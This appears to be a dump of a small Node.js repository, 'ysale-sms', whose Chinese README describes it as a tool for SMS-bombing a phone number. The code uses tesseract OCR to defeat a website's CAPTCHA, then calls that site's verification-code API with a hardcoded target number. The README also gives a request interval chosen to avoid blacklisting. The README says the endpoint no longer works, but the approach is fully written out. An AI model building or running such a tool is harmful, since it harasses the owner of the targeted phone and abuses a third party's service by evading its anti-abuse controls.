├── .gitignore ├── package.json ├── README.md ├── decode.js ├── app.js └── utils.js /.gitignore: -------------------------------------------------------------------------------- 1 | /node_modules/ 2 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "ysale", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "app.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "author": "", 10 | "license": "ISC", 11 | "dependencies": { 12 | "cheerio": "^0.20.0", 13 | "fs": "0.0.2", 14 | "gm": "^1.21.1", 15 | "node-tesseract": "^0.2.7", 16 | "superagent": "^2.0.0" 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Demo 2 | 3 | > 项目已不再更新,短信接口已经失效 无法正常获取验证码。 4 | 5 | ## 如何使用? 6 | 7 | 由于使用了 验证码识别,请在使用前需要先安装 [node-tesseract](https://github.com/desmondmorris/node-tesseract) 和 [gm](https://github.com/aheckmann/gm) 8 | 9 | ### node-tesseract install 10 | 11 | ```shell 12 | brew install tesseract --with-all-languages 13 | ``` 14 | 15 | ### gm install 16 | 17 | ```shell 18 | brew install imagemagick 19 | brew install graphicsmagick 20 | ``` 21 | 22 | 23 | ## 运行 24 | 25 | ```shell 26 | git clone https://github.com/yumemor/ysale-sms.git 27 | cd ysale-sms 28 | npm install 29 | node app.js 30 | ``` 31 | 32 | 33 | ## 配置 34 | 35 | 在 app.js 中添加你需要轰炸的手机号码,间隔时间请定在 3000 毫秒以上。 36 | 37 | > 低于这个数字 可能号码被加入黑名单 -------------------------------------------------------------------------------- /decode.js: -------------------------------------------------------------------------------- 1 | var fs = require('fs'); 2 | var tesseract = require('node-tesseract'); 3 | var gm = require('gm'); 4 | 5 | 6 | 7 | 8 | /** 9 | * 处理图片为阈值图片 10 | * @param imgPath 11 | * @param newPath 12 | * @param [thresholdVal=55] 默认阈值 13 | * @returns {Promise} 14 | */ 15 | function processImg (imgPath, thresholdVal) { 16 | return new Promise((resolve, reject) => { 17 | gm(imgPath) 18 | .threshold(thresholdVal || 55) 19 | .write(imgPath, (err)=> { 20 | if (err) return reject(err); 21 | resolve(imgPath); 22 | }); 23 | }); 24 | 25 | } 26 | 27 | /** 28 | * 识别图片 29 | * @param imgPath 30 | * @param options tesseract options 31 | * @returns {Promise} 32 | */ 33 | function recognizer (imgPath, options) { 34 | options = Object.assign({psm: 7}, options); 35 | 36 | return new Promise((resolve, reject) => { 37 | tesseract 38 | .process(imgPath, options, (err, text) => { 39 | if (err) return reject(err); 40 | fs.unlinkSync(imgPath); //删除文件 41 | resolve(text.replace(/[\r\n\s]/gm, '')); 42 | }); 43 | }); 44 | } 45 | 46 | 47 | function saveImg(dataBuffer,callback){ 48 | var fileName = new Date().getTime() + ".png"; 49 | fs.writeFile(fileName, dataBuffer, function(err) { 50 | if(err){ 51 | res.send(err); 52 | }else{ 53 | callback(fileName); 54 | } 55 | }); 56 | } 57 | 58 | module.exports.processImg = processImg; 59 | module.exports.recognizer = recognizer; 60 | module.exports.saveImg = saveImg; 61 | -------------------------------------------------------------------------------- /app.js: -------------------------------------------------------------------------------- 1 | 2 | var request = require('superagent'); 3 | 4 | var utils = require('./utils'); 5 | 6 | var phone = '13105625814'; 7 | 8 | function Sms(options,param){ 9 | this.options = Object.assign({imgMethod:'GET',imgHandle:true,imgValue:55,sendMethod:'GET'}, options); 10 | this.param = new Object(); 11 | this.param.query = param; 12 | 13 | this.start = function(){ 14 | 15 | var data = new Object(); 16 | 17 | var self = this; 18 | 19 | utils.req(this.options.imgMethod,this.options.imgUrl,null,handleImg,function(){ 20 | console.log('验证码获取失败'); 21 | }); 22 | 23 | //处理验证码 24 | function handleImg(cookie,result){ 25 | var buffer = result.body; 26 | utils.readImg(buffer,self.options.imgHandle,self.options.imgValue,function(text){ 27 | self.send(cookie,text); 28 | }) 29 | } 30 | 31 | } 32 | 33 | this.send = function(cookie,text){ 34 | 35 | utils.updateObj(text,this.options.phone,this.param.query); 36 | 37 | this.param.set = {Cookie:cookie,'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36'}; 38 | 39 | utils.req(this.options.sendMethod,this.options.sendUrl,this.param,function(cookie,result){ 40 | console.log(result.text); 41 | },function(){ 42 | console.log('验证码获取失败'); 43 | }); 44 | } 45 | } 46 | 47 | var option1 = {imgUrl:'http://app.ysale.cn/jyz5/PHP/verifycode.php',sendUrl:'http://app.ysale.cn/jyz5/PHP/api.php',phone:phone}; 48 | var data1 = new Object({vcode:null,phone:null,act:'recvphone'}); 49 | var sms1 = new Sms(option1,data1); 50 | 51 | sms1.start(); 52 | -------------------------------------------------------------------------------- /utils.js: -------------------------------------------------------------------------------- 1 | var request = require('superagent'); 2 | var decode = require('./decode'); 3 | 4 | function req(method,url,param,sucBack,errBack){ 5 | 6 | if(method == 'GET'){ 7 | 8 | //request.get(url).query(param.query).set(param.set).end(hadle); 9 | request.get(url).query(param ? param.query : {}).set(param ? param.set : {}).end(function(err,result){ 10 | if(err || !result.ok){ 11 | errBack(); 12 | }else{ 13 | sucBack(getCookie(result),result); 14 | } 15 | }); 16 | 17 | }else{ //POST 18 | 19 | request.post(url).send(param ? param.query : {}).set(param ? param.set : {}).end(function(err,result){ 20 | if(err || !result.ok){ 21 | errBack(); 22 | }else{ 23 | sucBack(getCookie(result),result); 24 | } 25 | }); 26 | 27 | } 28 | 29 | var getCookie = function(result){ 30 | var cookie = ""; 31 | for(var i in result.header['set-cookie']){ 32 | cookie += result.header['set-cookie'][i]; 33 | cookie += "; "; 34 | } 35 | return cookie; 36 | } 37 | 38 | var handle = function(err,result,sucBack,errBack){ 39 | 40 | if(err || !result.ok){ 41 | errBack(); 42 | }else{ 43 | sucBack(result); 44 | } 45 | } 46 | } 47 | 48 | 49 | function readImg(buffer,imgHandle,imgValue,callback){ 50 | decode.saveImg(buffer,function(fileName){ 51 | if(imgHandle){ 52 | decode.processImg(fileName,imgValue).then(decode.recognizer).then(callback); 53 | }else{ 54 | decode.recognizer(fileName).then(callback); 55 | } 56 | }) 57 | } 58 | 59 | 60 | function updateObj(text,phone,target){ 61 | var index = 0 ; 62 | 63 | for(var i in target){ 64 | index++; 65 | switch(index){ 66 | case 1: 67 | target[i] = text; 68 | break; 69 | case 2: 70 | target[i] = phone; 71 | break; 72 | } 73 | } 74 | } 75 | 76 | module.exports.req = req; 77 | module.exports.readImg = readImg; 78 | module.exports.updateObj = updateObj; 79 | --------------------------------------------------------------------------------